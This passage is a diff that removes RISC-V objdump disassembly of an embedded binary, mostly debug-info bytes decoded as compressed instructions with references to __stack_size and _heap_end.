-    284c:	5700                	lw	s0,40(a4)
-    284e:	0018                	0x18
-    2850:	1500                	addi	s0,sp,672
-    2852:	06e4                	addi	s1,sp,844
-    2854:	0000                	unimp
-    2856:	1875                	addi	a6,a6,-3
-    2858:	0000                	unimp
-    285a:	f115                	bnez	a0,277e <__stack_size+0x1f7e>
-    285c:	0006                	c.slli	zero,0x1
-    285e:	9300                	0x9300
-    2860:	0018                	0x18
-    2862:	1500                	addi	s0,sp,672
-    2864:	06fe                	slli	a3,a3,0x1f
-    2866:	0000                	unimp
-    2868:	18ce                	slli	a7,a7,0x33
-    286a:	0000                	unimp
-    286c:	0b15                	addi	s6,s6,5
-    286e:	f7000007          	0xf7000007
-    2872:	0018                	0x18
-    2874:	0000                	unimp
-    2876:	1918                	addi	a4,sp,176
-    2878:	f0000007          	0xf0000007
-    287c:	15000003          	lb	zero,336(zero) # 150 <__stack_size-0x6b0>
-    2880:	071e                	slli	a4,a4,0x7
-    2882:	0000                	unimp
-    2884:	1915                	addi	s2,s2,-27
-    2886:	0000                	unimp
-    2888:	2b15                	jal	2dbc <__stack_size+0x25bc>
-    288a:	28000007          	0x28000007
-    288e:	0019                	c.nop	6
-    2890:	1500                	addi	s0,sp,672
-    2892:	0738                	addi	a4,sp,904
-    2894:	0000                	unimp
-    2896:	0000197b          	0x197b
-    289a:	4515                	li	a0,5
-    289c:	8e000007          	0x8e000007
-    28a0:	0019                	c.nop	6
-    28a2:	1500                	addi	s0,sp,672
-    28a4:	0752                	slli	a4,a4,0x14
-    28a6:	0000                	unimp
-    28a8:	19a1                	addi	s3,s3,-24
-    28aa:	0000                	unimp
-    28ac:	5f15                	li	t5,-27
-    28ae:	f4000007          	0xf4000007
-    28b2:	0019                	c.nop	6
-    28b4:	1500                	addi	s0,sp,672
-    28b6:	076c                	addi	a1,sp,908
-    28b8:	0000                	unimp
-    28ba:	00001a07          	0x1a07
-    28be:	7915                	lui	s2,0xfffe5
-    28c0:	38000007          	0x38000007
-    28c4:	001a                	c.slli	zero,0x6
-    28c6:	0000                	unimp
-    28c8:	1600                	addi	s0,sp,800
-    28ca:	058a                	slli	a1,a1,0x2
-    28cc:	0000                	unimp
-    28ce:	0420                	addi	s0,sp,520
-    28d0:	0000                	unimp
-    28d2:	037d                	addi	t1,t1,31
-    28d4:	0000                	unimp
-    28d6:	8f15                	sub	a4,a4,a3
-    28d8:	0005                	c.nop	1
-    28da:	4b00                	lw	s0,16(a4)
-    28dc:	001a                	c.slli	zero,0x6
-    28de:	1500                	addi	s0,sp,672
-    28e0:	059c                	addi	a5,sp,704
-    28e2:	0000                	unimp
-    28e4:	00001a87          	0x1a87
-    28e8:	1700                	addi	s0,sp,928
-    28ea:	0000060b          	0x60b
-    28ee:	2d48                	fld	fa0,152(a0)
-    28f0:	2040                	fld	fs0,128(s0)
-    28f2:	0070                	addi	a2,sp,12
-    28f4:	0000                	unimp
-    28f6:	03ce                	slli	t2,t2,0x13
-    28f8:	0000                	unimp
-    28fa:	1015                	c.nop	-27
-    28fc:	0006                	c.slli	zero,0x1
-    28fe:	a500                	fsd	fs0,8(a0)
-    2900:	001a                	c.slli	zero,0x6
-    2902:	1500                	addi	s0,sp,672
-    2904:	061d                	addi	a2,a2,7
-    2906:	0000                	unimp
-    2908:	1ab8                	addi	a4,sp,376
-    290a:	0000                	unimp
-    290c:	2a15                	jal	2a40 <__stack_size+0x2240>
-    290e:	0006                	c.slli	zero,0x1
-    2910:	dc00                	sw	s0,56(s0)
-    2912:	001a                	c.slli	zero,0x6
-    2914:	1500                	addi	s0,sp,672
-    2916:	00000637          	lui	a2,0x0
-    291a:	1afa                	slli	s5,s5,0x3e
-    291c:	0000                	unimp
-    291e:	4415                	li	s0,5
-    2920:	0006                	c.slli	zero,0x1
-    2922:	1800                	addi	s0,sp,48
-    2924:	1500001b          	0x1500001b
-    2928:	0651                	addi	a2,a2,20
-    292a:	0000                	unimp
-    292c:	00001b53          	fadd.s	fs6,ft0,ft0,rtz
-    2930:	5e15                	li	t3,-27
-    2932:	0006                	c.slli	zero,0x1
-    2934:	7100                	flw	fs0,32(a0)
-    2936:	0000001b          	0x1b
-    293a:	aa16                	fsd	ft5,272(sp)
-    293c:	0005                	c.nop	1
-    293e:	3800                	fld	fs0,48(s0)
-    2940:	0004                	0x4
-    2942:	1b00                	addi	s0,sp,432
-    2944:	0004                	0x4
-    2946:	1500                	addi	s0,sp,672
-    2948:	000005af          	0x5af
-    294c:	00001b8f          	0x1b8f
-    2950:	bc15                	j	2384 <__stack_size+0x1b84>
-    2952:	0005                	c.nop	1
-    2954:	a200                	fsd	fs0,0(a2)
-    2956:	1500001b          	0x1500001b
-    295a:	05c9                	addi	a1,a1,18
-    295c:	0000                	unimp
-    295e:	1bc6                	slli	s7,s7,0x31
-    2960:	0000                	unimp
-    2962:	d615                	beqz	a2,288e <__stack_size+0x208e>
-    2964:	0005                	c.nop	1
-    2966:	e400                	fsw	fs0,8(s0)
-    2968:	1500001b          	0x1500001b
-    296c:	000005e3          	beqz	zero,3176 <__stack_size+0x2976>
-    2970:	1c02                	slli	s8,s8,0x20
-    2972:	0000                	unimp
-    2974:	f015                	bnez	s0,2898 <__stack_size+0x2098>
-    2976:	0005                	c.nop	1
-    2978:	3600                	fld	fs0,40(a2)
-    297a:	001c                	0x1c
-    297c:	1500                	addi	s0,sp,672
-    297e:	05fd                	addi	a1,a1,31
-    2980:	0000                	unimp
-    2982:	1c5f 0000 1800      	0x180000001c5f
-    2988:	066c                	addi	a1,sp,780
-    298a:	0000                	unimp
-    298c:	0450                	addi	a2,sp,516
-    298e:	0000                	unimp
-    2990:	7115                	addi	sp,sp,-224
-    2992:	0006                	c.slli	zero,0x1
-    2994:	8d00                	0x8d00
-    2996:	001c                	0x1c
-    2998:	1500                	addi	s0,sp,672
-    299a:	067e                	slli	a2,a2,0x1f
-    299c:	0000                	unimp
-    299e:	1cc1                	addi	s9,s9,-16
-    29a0:	0000                	unimp
-    29a2:	0000                	unimp
-    29a4:	0000                	unimp
-    29a6:	f519                	bnez	a0,28b4 <__stack_size+0x20b4>
-    29a8:	00a5                	addi	ra,ra,9
-    29aa:	0100                	addi	s0,sp,128
-    29ac:	ae0103f7          	0xae0103f7
-    29b0:	0000                	unimp
-    29b2:	0300                	addi	s0,sp,384
-    29b4:	000007ab          	0x7ab
-    29b8:	6e1a                	flw	ft8,132(sp)
-    29ba:	0100                	addi	s0,sp,128
-    29bc:	ae1703f7          	0xae1703f7
-    29c0:	0000                	unimp
-    29c2:	1a00                	addi	s0,sp,304
-    29c4:	0064                	addi	s1,sp,12
-    29c6:	f701                	bnez	a4,28ce <__stack_size+0x20ce>
-    29c8:	00ae2203          	lw	tp,10(t3) # 1a00a <__stack_size+0x1980a>
-    29cc:	0000                	unimp
-    29ce:	721a                	flw	ft4,164(sp)
-    29d0:	0070                	addi	a2,sp,12
-    29d2:	f701                	bnez	a4,28da <__stack_size+0x20da>
-    29d4:	07ab2e03          	lw	t3,122(s6)
-    29d8:	0000                	unimp
-    29da:	006e6e1b          	0x6e6e1b
-    29de:	f901                	bnez	a0,28ee <__stack_size+0x20ee>
-    29e0:	01371103          	lh	sp,19(a4)
-    29e4:	0000                	unimp
-    29e6:	0064641b          	0x64641b
-    29ea:	fa01                	bnez	a2,28fa <__stack_size+0x20fa>
-    29ec:	01371103          	lh	sp,19(a4)
-    29f0:	0000                	unimp
-    29f2:	0072721b          	0x72721b
-    29f6:	fb01                	bnez	a4,2906 <__stack_size+0x2106>
-    29f8:	012a0b03          	lb	s6,18(s4)
-    29fc:	0000                	unimp
-    29fe:	0030641b          	0x30641b
-    2a02:	fc01                	bnez	s0,291a <__stack_size+0x211a>
-    2a04:	00960a03          	lb	s4,9(a2) # 9 <__stack_size-0x7f7>
-    2a08:	0000                	unimp
-    2a0a:	0031641b          	0x31641b
-    2a0e:	fc01                	bnez	s0,2926 <__stack_size+0x2126>
-    2a10:	00960e03          	lb	t3,9(a2)
-    2a14:	0000                	unimp
-    2a16:	00306e1b          	0x306e1b
-    2a1a:	fc01                	bnez	s0,2932 <__stack_size+0x2132>
-    2a1c:	00961203          	lh	tp,9(a2)
-    2a20:	0000                	unimp
-    2a22:	00316e1b          	0x316e1b
-    2a26:	fc01                	bnez	s0,293e <__stack_size+0x213e>
-    2a28:	00961603          	lh	a2,9(a2)
-    2a2c:	0000                	unimp
-    2a2e:	00326e1b          	0x326e1b
-    2a32:	fc01                	bnez	s0,294a <__stack_size+0x214a>
-    2a34:	00961a03          	lh	s4,9(a2)
-    2a38:	0000                	unimp
-    2a3a:	0030711b          	0x30711b
-    2a3e:	fd01                	bnez	a0,2956 <__stack_size+0x2156>
-    2a40:	00960a03          	lb	s4,9(a2)
-    2a44:	0000                	unimp
-    2a46:	0031711b          	0x31711b
-    2a4a:	fd01                	bnez	a0,2962 <__stack_size+0x2162>
-    2a4c:	00960e03          	lb	t3,9(a2)
-    2a50:	0000                	unimp
-    2a52:	0100621b          	0x100621b
-    2a56:	03fe                	slli	t2,t2,0x1f
-    2a58:	960a                	add	a2,a2,sp
-    2a5a:	0000                	unimp
-    2a5c:	1b00                	addi	s0,sp,432
-    2a5e:	6d62                	flw	fs10,24(sp)
-    2a60:	0100                	addi	s0,sp,128
-    2a62:	03fe                	slli	t2,t2,0x1f
-    2a64:	960d                	srai	a2,a2,0x23
-    2a66:	0000                	unimp
-    2a68:	1b00                	addi	s0,sp,432
-    2a6a:	01007777          	0x1007777
-    2a6e:	371104c7          	fmsub.q	fs1,ft2,fa7,ft6,rne
-    2a72:	0001                	nop
-    2a74:	1c00                	addi	s0,sp,560
-    2a76:	0529                	addi	a0,a0,10
-    2a78:	0000                	unimp
-    2a7a:	f01d                	bnez	s0,29a0 <__stack_size+0x21a0>
-    2a7c:	00a5                	addi	ra,ra,9
-    2a7e:	0100                	addi	s0,sp,128
-    2a80:	042e                	slli	s0,s0,0xb
-    2a82:	9604                	0x9604
-    2a84:	0000                	unimp
-    2a86:	1b00                	addi	s0,sp,432
-    2a88:	5f5f 0061 2e01      	0x2e0100615f5f
-    2a8e:	0404                	addi	s1,sp,512
-    2a90:	0096                	slli	ra,ra,0x5
-    2a92:	0000                	unimp
-    2a94:	1c00                	addi	s0,sp,560
-    2a96:	058a                	slli	a1,a1,0x2
-    2a98:	0000                	unimp
-    2a9a:	a91d                	j	2ed0 <__stack_size+0x26d0>
-    2a9c:	00a5                	addi	ra,ra,9
-    2a9e:	0100                	addi	s0,sp,128
-    2aa0:	043a                	slli	s0,s0,0xe
-    2aa2:	9604                	0x9604
-    2aa4:	0000                	unimp
-    2aa6:	1d00                	addi	s0,sp,688
-    2aa8:	a5a4                	fsd	fs1,72(a1)
-    2aaa:	0000                	unimp
-    2aac:	3a01                	jal	23bc <__stack_size+0x1bbc>
-    2aae:	0404                	addi	s1,sp,512
-    2ab0:	0096                	slli	ra,ra,0x5
-    2ab2:	0000                	unimp
-    2ab4:	eb1d                	bnez	a4,2aea <__stack_size+0x22ea>
-    2ab6:	00a5                	addi	ra,ra,9
-    2ab8:	0100                	addi	s0,sp,128
-    2aba:	043a                	slli	s0,s0,0xe
-    2abc:	9604                	0x9604
-    2abe:	0000                	unimp
-    2ac0:	1d00                	addi	s0,sp,688
-    2ac2:	a5e6                	fsd	fs9,200(sp)
-    2ac4:	0000                	unimp
-    2ac6:	3a01                	jal	23d6 <__stack_size+0x1bd6>
-    2ac8:	0404                	addi	s1,sp,512
-    2aca:	0096                	slli	ra,ra,0x5
-    2acc:	0000                	unimp
-    2ace:	071d                	addi	a4,a4,7
-    2ad0:	00a6                	slli	ra,ra,0x9
-    2ad2:	0100                	addi	s0,sp,128
-    2ad4:	043a                	slli	s0,s0,0xe
-    2ad6:	9604                	0x9604
-    2ad8:	0000                	unimp
-    2ada:	1d00                	addi	s0,sp,688
-    2adc:	a602                	fsd	ft0,264(sp)
-    2ade:	0000                	unimp
-    2ae0:	3a01                	jal	23f0 <__stack_size+0x1bf0>
-    2ae2:	0404                	addi	s1,sp,512
-    2ae4:	0096                	slli	ra,ra,0x5
-    2ae6:	0000                	unimp
-    2ae8:	6d5f5f1b          	0x6d5f5f1b
-    2aec:	0100                	addi	s0,sp,128
-    2aee:	043a                	slli	s0,s0,0xe
-    2af0:	9604                	0x9604
-    2af2:	0000                	unimp
-    2af4:	0000                	unimp
-    2af6:	aa1c                	fsd	fa5,16(a2)
-    2af8:	0005                	c.nop	1
-    2afa:	1d00                	addi	s0,sp,688
-    2afc:	a5f0                	fsd	fa2,200(a1)
-    2afe:	0000                	unimp
-    2b00:	4601                	li	a2,0
-    2b02:	0404                	addi	s1,sp,512
-    2b04:	0096                	slli	ra,ra,0x5
-    2b06:	0000                	unimp
-    2b08:	615f5f1b          	0x615f5f1b
-    2b0c:	0100                	addi	s0,sp,128
-    2b0e:	0446                	slli	s0,s0,0x11
-    2b10:	9604                	0x9604
-    2b12:	0000                	unimp
-    2b14:	0000                	unimp
-    2b16:	0b1c                	addi	a5,sp,400
-    2b18:	0006                	c.slli	zero,0x1
-    2b1a:	1d00                	addi	s0,sp,688
-    2b1c:	a5a9                	j	3166 <__stack_size+0x2966>
-    2b1e:	0000                	unimp
-    2b20:	5f01                	li	t5,-32
-    2b22:	0804                	addi	s1,sp,16
-    2b24:	0096                	slli	ra,ra,0x5
-    2b26:	0000                	unimp
-    2b28:	a41d                	j	2d4e <__stack_size+0x254e>
-    2b2a:	00a5                	addi	ra,ra,9
-    2b2c:	0100                	addi	s0,sp,128
-    2b2e:	045f 9608 0000      	0x9608045f
-    2b34:	1d00                	addi	s0,sp,688
-    2b36:	0000a5eb          	0xa5eb
-    2b3a:	5f01                	li	t5,-32
-    2b3c:	0804                	addi	s1,sp,16
-    2b3e:	0096                	slli	ra,ra,0x5
-    2b40:	0000                	unimp
-    2b42:	e61d                	bnez	a2,2b70 <__stack_size+0x2370>
-    2b44:	00a5                	addi	ra,ra,9
-    2b46:	0100                	addi	s0,sp,128
-    2b48:	045f 9608 0000      	0x9608045f
-    2b4e:	1d00                	addi	s0,sp,688
-    2b50:	0000a607          	flw	fa2,0(ra)
-    2b54:	5f01                	li	t5,-32
-    2b56:	0804                	addi	s1,sp,16
-    2b58:	0096                	slli	ra,ra,0x5
-    2b5a:	0000                	unimp
-    2b5c:	021d                	addi	tp,tp,7
-    2b5e:	00a6                	slli	ra,ra,0x9
-    2b60:	0100                	addi	s0,sp,128
-    2b62:	045f 9608 0000      	0x9608045f
-    2b68:	1b00                	addi	s0,sp,432
-    2b6a:	5f5f 006d 5f01      	0x5f01006d5f5f
-    2b70:	0804                	addi	s1,sp,16
-    2b72:	0096                	slli	ra,ra,0x5
-    2b74:	0000                	unimp
-    2b76:	1c00                	addi	s0,sp,560
-    2b78:	066c                	addi	a1,sp,780
-    2b7a:	0000                	unimp
-    2b7c:	a91d                	j	2fb2 <__stack_size+0x27b2>
-    2b7e:	00a5                	addi	ra,ra,9
-    2b80:	0100                	addi	s0,sp,128
-    2b82:	0464                	addi	s1,sp,524
-    2b84:	9604                	0x9604
-    2b86:	0000                	unimp
-    2b88:	1d00                	addi	s0,sp,688
-    2b8a:	a5a4                	fsd	fs1,72(a1)
-    2b8c:	0000                	unimp
-    2b8e:	6401                	0x6401
-    2b90:	0404                	addi	s1,sp,512
-    2b92:	0096                	slli	ra,ra,0x5
-    2b94:	0000                	unimp
-    2b96:	eb1d                	bnez	a4,2bcc <__stack_size+0x23cc>
-    2b98:	00a5                	addi	ra,ra,9
-    2b9a:	0100                	addi	s0,sp,128
-    2b9c:	0464                	addi	s1,sp,524
-    2b9e:	9604                	0x9604
-    2ba0:	0000                	unimp
-    2ba2:	1d00                	addi	s0,sp,688
-    2ba4:	a5e6                	fsd	fs9,200(sp)
-    2ba6:	0000                	unimp
-    2ba8:	6401                	0x6401
-    2baa:	0404                	addi	s1,sp,512
-    2bac:	0096                	slli	ra,ra,0x5
-    2bae:	0000                	unimp
-    2bb0:	071d                	addi	a4,a4,7
-    2bb2:	00a6                	slli	ra,ra,0x9
-    2bb4:	0100                	addi	s0,sp,128
-    2bb6:	0464                	addi	s1,sp,524
-    2bb8:	9604                	0x9604
-    2bba:	0000                	unimp
-    2bbc:	1d00                	addi	s0,sp,688
-    2bbe:	a602                	fsd	ft0,264(sp)
-    2bc0:	0000                	unimp
-    2bc2:	6401                	0x6401
-    2bc4:	0404                	addi	s1,sp,512
-    2bc6:	0096                	slli	ra,ra,0x5
-    2bc8:	0000                	unimp
-    2bca:	6d5f5f1b          	0x6d5f5f1b
-    2bce:	0100                	addi	s0,sp,128
-    2bd0:	0464                	addi	s1,sp,524
-    2bd2:	9604                	0x9604
-    2bd4:	0000                	unimp
-    2bd6:	0000                	unimp
-    2bd8:	8c1c                	0x8c1c
-    2bda:	0006                	c.slli	zero,0x1
-    2bdc:	1d00                	addi	s0,sp,688
-    2bde:	a5f0                	fsd	fa2,200(a1)
-    2be0:	0000                	unimp
-    2be2:	8701                	c.srai64	a4
-    2be4:	0404                	addi	s1,sp,512
-    2be6:	0096                	slli	ra,ra,0x5
-    2be8:	0000                	unimp
-    2bea:	615f5f1b          	0x615f5f1b
-    2bee:	0100                	addi	s0,sp,128
-    2bf0:	96040487          	0x96040487
-    2bf4:	0000                	unimp
-    2bf6:	0000                	unimp
-    2bf8:	9f1c                	0x9f1c
-    2bfa:	0006                	c.slli	zero,0x1
-    2bfc:	1b00                	addi	s0,sp,432
-    2bfe:	5f5f 0078 9501      	0x950100785f5f
-    2c04:	0504                	addi	s1,sp,640
-    2c06:	0096                	slli	ra,ra,0x5
-    2c08:	0000                	unimp
-    2c0a:	1e00                	addi	s0,sp,816
-    2c0c:	00316d1b          	0x316d1b
-    2c10:	a501                	j	3210 <__stack_size+0x2a10>
-    2c12:	0f04                	addi	s1,sp,912
-    2c14:	0096                	slli	ra,ra,0x5
-    2c16:	0000                	unimp
-    2c18:	00306d1b          	0x306d1b
-    2c1c:	a501                	j	321c <__stack_size+0x2a1c>
-    2c1e:	1304                	addi	s1,sp,416
-    2c20:	0096                	slli	ra,ra,0x5
-    2c22:	0000                	unimp
-    2c24:	191c                	addi	a5,sp,176
-    2c26:	1d000007          	0x1d000007
-    2c2a:	a5a9                	j	3274 <__stack_size+0x2a74>
-    2c2c:	0000                	unimp
-    2c2e:	b001                	j	242e <__stack_size+0x1c2e>
-    2c30:	0804                	addi	s1,sp,16
-    2c32:	0096                	slli	ra,ra,0x5
-    2c34:	0000                	unimp
-    2c36:	a41d                	j	2e5c <__stack_size+0x265c>
-    2c38:	00a5                	addi	ra,ra,9
-    2c3a:	0100                	addi	s0,sp,128
-    2c3c:	04b0                	addi	a2,sp,584
-    2c3e:	9608                	0x9608
-    2c40:	0000                	unimp
-    2c42:	1d00                	addi	s0,sp,688
-    2c44:	0000a5eb          	0xa5eb
-    2c48:	b001                	j	2448 <__stack_size+0x1c48>
-    2c4a:	0804                	addi	s1,sp,16
-    2c4c:	0096                	slli	ra,ra,0x5
-    2c4e:	0000                	unimp
-    2c50:	e61d                	bnez	a2,2c7e <__stack_size+0x247e>
-    2c52:	00a5                	addi	ra,ra,9
-    2c54:	0100                	addi	s0,sp,128
-    2c56:	04b0                	addi	a2,sp,584
-    2c58:	9608                	0x9608
-    2c5a:	0000                	unimp
-    2c5c:	1d00                	addi	s0,sp,688
-    2c5e:	0000a607          	flw	fa2,0(ra)
-    2c62:	b001                	j	2462 <__stack_size+0x1c62>
-    2c64:	0804                	addi	s1,sp,16
-    2c66:	0096                	slli	ra,ra,0x5
-    2c68:	0000                	unimp
-    2c6a:	021d                	addi	tp,tp,7
-    2c6c:	00a6                	slli	ra,ra,0x9
-    2c6e:	0100                	addi	s0,sp,128
-    2c70:	04b0                	addi	a2,sp,584
-    2c72:	9608                	0x9608
-    2c74:	0000                	unimp
-    2c76:	1b00                	addi	s0,sp,432
-    2c78:	5f5f 006d b001      	0xb001006d5f5f
-    2c7e:	0804                	addi	s1,sp,16
-    2c80:	0096                	slli	ra,ra,0x5
-    2c82:	0000                	unimp
-    2c84:	1c00                	addi	s0,sp,560
-    2c86:	00000787          	0x787
-    2c8a:	c21d                	beqz	a2,2cb0 <__stack_size+0x24b0>
-    2c8c:	00a5                	addi	ra,ra,9
-    2c8e:	0100                	addi	s0,sp,128
-    2c90:	04b1                	addi	s1,s1,12
-    2c92:	9608                	0x9608
-    2c94:	0000                	unimp
-    2c96:	1d00                	addi	s0,sp,688
-    2c98:	0000a5c7          	fmsub.s	fa1,ft1,ft0,ft0,rdn
-    2c9c:	b101                	j	289c <__stack_size+0x209c>
-    2c9e:	0804                	addi	s1,sp,16
-    2ca0:	0096                	slli	ra,ra,0x5
-    2ca2:	0000                	unimp
-    2ca4:	cc1d                	beqz	s0,2ce2 <__stack_size+0x24e2>
-    2ca6:	00a5                	addi	ra,ra,9
-    2ca8:	0100                	addi	s0,sp,128
-    2caa:	04b1                	addi	s1,s1,12
-    2cac:	9608                	0x9608
-    2cae:	0000                	unimp
-    2cb0:	1d00                	addi	s0,sp,688
-    2cb2:	a5d1                	j	3376 <__stack_size+0x2b76>
-    2cb4:	0000                	unimp
-    2cb6:	b101                	j	28b6 <__stack_size+0x20b6>
-    2cb8:	0804                	addi	s1,sp,16
-    2cba:	0096                	slli	ra,ra,0x5
-    2cbc:	0000                	unimp
-    2cbe:	111d                	addi	sp,sp,-25
-    2cc0:	00a6                	slli	ra,ra,0x9
-    2cc2:	0100                	addi	s0,sp,128
-    2cc4:	04b1                	addi	s1,s1,12
-    2cc6:	9608                	0x9608
-    2cc8:	0000                	unimp
-    2cca:	1d00                	addi	s0,sp,688
-    2ccc:	0000a5b3          	sltz	a1,ra
-    2cd0:	b101                	j	28d0 <__stack_size+0x20d0>
-    2cd2:	0804                	addi	s1,sp,16
-    2cd4:	0096                	slli	ra,ra,0x5
-    2cd6:	0000                	unimp
-    2cd8:	0c1d                	addi	s8,s8,7
-    2cda:	00a6                	slli	ra,ra,0x9
-    2cdc:	0100                	addi	s0,sp,128
-    2cde:	04b1                	addi	s1,s1,12
-    2ce0:	9608                	0x9608
-    2ce2:	0000                	unimp
-    2ce4:	1d00                	addi	s0,sp,688
-    2ce6:	a5ae                	fsd	fa1,200(sp)
-    2ce8:	0000                	unimp
-    2cea:	b101                	j	28ea <__stack_size+0x20ea>
-    2cec:	0804                	addi	s1,sp,16
-    2cee:	0096                	slli	ra,ra,0x5
-    2cf0:	0000                	unimp
-    2cf2:	1c00                	addi	s0,sp,560
-    2cf4:	079a                	slli	a5,a5,0x6
-    2cf6:	0000                	unimp
-    2cf8:	785f5f1b          	0x785f5f1b
-    2cfc:	0100                	addi	s0,sp,128
-    2cfe:	04b6                	slli	s1,s1,0xd
-    2d00:	9605                	srai	a2,a2,0x21
-    2d02:	0000                	unimp
-    2d04:	0000                	unimp
-    2d06:	1b1e                	slli	s6,s6,0x27
-    2d08:	5f5f 0078 be01      	0xbe0100785f5f
-    2d0e:	0504                	addi	s1,sp,640
-    2d10:	0096                	slli	ra,ra,0x5
-    2d12:	0000                	unimp
-    2d14:	0000                	unimp
-    2d16:	1f00                	addi	s0,sp,944
-    2d18:	ae04                	fsd	fs1,24(a2)
-    2d1a:	0000                	unimp
-    2d1c:	0000                	unimp
-    2d1e:	000000d3          	fadd.s	ft1,ft0,ft0,rne
-    2d22:	0004                	0x4
-    2d24:	0728                	addi	a0,sp,904
-    2d26:	0000                	unimp
-    2d28:	0104                	addi	s1,sp,128
-    2d2a:	a42a                	fsd	fa0,8(sp)
-    2d2c:	0000                	unimp
-    2d2e:	4d0c                	lw	a1,24(a0)
-    2d30:	8e0000a3          	sb	zero,-1823(zero) # fffff8e1 <_heap_end+0x7fff10e1>
-    2d34:	b10000a3          	sb	a6,-1279(zero) # fffffb01 <_heap_end+0x7fff1301>
-    2d38:	02000037          	lui	zero,0x2000
-    2d3c:	0504                	addi	s1,sp,640
-    2d3e:	6e69                	lui	t3,0x1a
-    2d40:	0074                	addi	a3,sp,12
-    2d42:	64070403          	lb	s0,1600(a4)
-    2d46:	0071                	c.nop	28
-    2d48:	0300                	addi	s0,sp,384
-    2d4a:	0508                	addi	a0,sp,640
-    2d4c:	8fe4                	0x8fe4
-    2d4e:	0000                	unimp
-    2d50:	96041003          	lh	zero,-1696(s0) # 72697c04 <_data_lma+0x52291c24>
-    2d54:	0091                	addi	ra,ra,4
-    2d56:	0300                	addi	s0,sp,384
-    2d58:	0601                	addi	a2,a2,0
-    2d5a:	7eea                	flw	ft9,184(sp)
-    2d5c:	0000                	unimp
-    2d5e:	39080103          	lb	sp,912(a6)
-    2d62:	0014                	0x14
-    2d64:	0300                	addi	s0,sp,384
-    2d66:	0502                	c.slli64	a0
-    2d68:	3754                	fld	fa3,168(a4)
-    2d6a:	0000                	unimp
-    2d6c:	7a070203          	lb	tp,1952(a4)
-    2d70:	0300009b          	0x300009b
-    2d74:	0504                	addi	s1,sp,640
-    2d76:	505c                	lw	a5,36(s0)
-    2d78:	0000                	unimp
-    2d7a:	14070403          	lb	s0,320(a4)
-    2d7e:	0065                	c.nop	25
-    2d80:	0300                	addi	s0,sp,384
-    2d82:	0708                	addi	a0,sp,896
-    2d84:	06a1                	addi	a3,a3,8
-    2d86:	0000                	unimp
-    2d88:	f1080103          	lb	sp,-240(a6)
-    2d8c:	007e                	c.slli	zero,0x1f
-    2d8e:	0400                	addi	s0,sp,512
-    2d90:	a5d6                	fsd	fs5,200(sp)
-    2d92:	0000                	unimp
-    2d94:	7b01                	lui	s6,0xfffe0
-    2d96:	4016                	0x4016
-    2d98:	0000                	unimp
-    2d9a:	0500                	addi	s0,sp,640
-    2d9c:	0071                	c.nop	28
-    2d9e:	0000                	unimp
-    2da0:	15040403          	lb	s0,336(s0)
-    2da4:	00a4                	addi	s1,sp,72
-    2da6:	0300                	addi	s0,sp,384
-    2da8:	0308                	addi	a0,sp,384
-    2daa:	a40d                	j	2fcc <__stack_size+0x27cc>
-    2dac:	0000                	unimp
-    2dae:	9b040803          	lb	a6,-1616(s0)
-    2db2:	0091                	addi	ra,ra,4
-    2db4:	0300                	addi	s0,sp,384
-    2db6:	0310                	addi	a2,sp,384
-    2db8:	0000a41b          	0xa41b
-    2dbc:	f9032003          	lw	zero,-112(t1) # 7492f8 <__stack_size+0x748af8>
-    2dc0:	060000a3          	sb	zero,97(zero) # 61 <__stack_size-0x79f>
-    2dc4:	007d                	c.nop	31
-    2dc6:	0000                	unimp
-    2dc8:	00b5                	addi	ra,ra,13
-    2dca:	0000                	unimp
-    2dcc:	00002407          	flw	fs0,0(zero) # 0 <__stack_size-0x800>
-    2dd0:	ff00                	fsw	fs0,56(a4)
-    2dd2:	0500                	addi	s0,sp,640
-    2dd4:	00a5                	addi	ra,ra,9
-    2dd6:	0000                	unimp
-    2dd8:	b808                	fsd	fa0,48(s0)
-    2dda:	00a5                	addi	ra,ra,9
-    2ddc:	0100                	addi	s0,sp,128
-    2dde:	0202                	c.slli64	tp
-    2de0:	b516                	fsd	ft5,168(sp)
-    2de2:	0000                	unimp
-    2de4:	0900                	addi	s0,sp,144
-    2de6:	00ba                	slli	ra,ra,0xe
-    2de8:	0000                	unimp
-    2dea:	b202                	fsd	ft0,288(sp)
-    2dec:	0f02                	c.slli64	t5
-    2dee:	0305                	addi	t1,t1,1
-    2df0:	5ce8                	lw	a0,124(s1)
-    2df2:	2040                	fld	fs0,128(s0)
-    2df4:	0800                	addi	s0,sp,16
-    2df6:	0008                	0x8
-    2df8:	0400                	addi	s0,sp,512
-    2dfa:	9800                	0x9800
-    2dfc:	04000007          	0x4000007
-    2e00:	de01                	beqz	a2,2d18 <__stack_size+0x2518>
-    2e02:	00a4                	addi	s1,sp,72
-    2e04:	0c00                	addi	s0,sp,528
-    2e06:	a34d                	j	33a8 <__stack_size+0x2ba8>
-    2e08:	0000                	unimp
-    2e0a:	a38e                	fsd	ft3,448(sp)
-    2e0c:	0000                	unimp
-    2e0e:	4ed6                	lw	t4,84(sp)
-    2e10:	2040                	fld	fs0,128(s0)
-    2e12:	0340                	addi	s0,sp,388
-    2e14:	0000                	unimp
-    2e16:	380a                	fld	fa6,160(sp)
-    2e18:	0000                	unimp
-    2e1a:	0802                	c.slli64	a6
-    2e1c:	0006a107          	flw	ft2,0(a3)
-    2e20:	0300                	addi	s0,sp,384
-    2e22:	0504                	addi	s1,sp,640
-    2e24:	6e69                	lui	t3,0x1a
-    2e26:	0074                	addi	a3,sp,12
-    2e28:	0402                	c.slli64	s0
-    2e2a:	00716407          	0x716407
-    2e2e:	0200                	addi	s0,sp,256
-    2e30:	0508                	addi	a0,sp,640
-    2e32:	8fe4                	0x8fe4
-    2e34:	0000                	unimp
-    2e36:	1002                	c.slli	zero,0x20
-    2e38:	9604                	0x9604
-    2e3a:	0091                	addi	ra,ra,4
-    2e3c:	0200                	addi	s0,sp,256
-    2e3e:	0601                	addi	a2,a2,0
-    2e40:	7eea                	flw	ft9,184(sp)
-    2e42:	0000                	unimp
-    2e44:	0102                	c.slli64	sp
-    2e46:	3908                	fld	fa0,48(a0)
-    2e48:	0014                	0x14
-    2e4a:	0200                	addi	s0,sp,256
-    2e4c:	0502                	c.slli64	a0
-    2e4e:	3754                	fld	fa3,168(a4)
-    2e50:	0000                	unimp
-    2e52:	0202                	c.slli64	tp
-    2e54:	009b7a07          	0x9b7a07
-    2e58:	0200                	addi	s0,sp,256
-    2e5a:	0504                	addi	s1,sp,640
-    2e5c:	505c                	lw	a5,36(s0)
-    2e5e:	0000                	unimp
-    2e60:	0402                	c.slli64	s0
-    2e62:	00651407          	0x651407
-    2e66:	0200                	addi	s0,sp,256
-    2e68:	0801                	addi	a6,a6,0
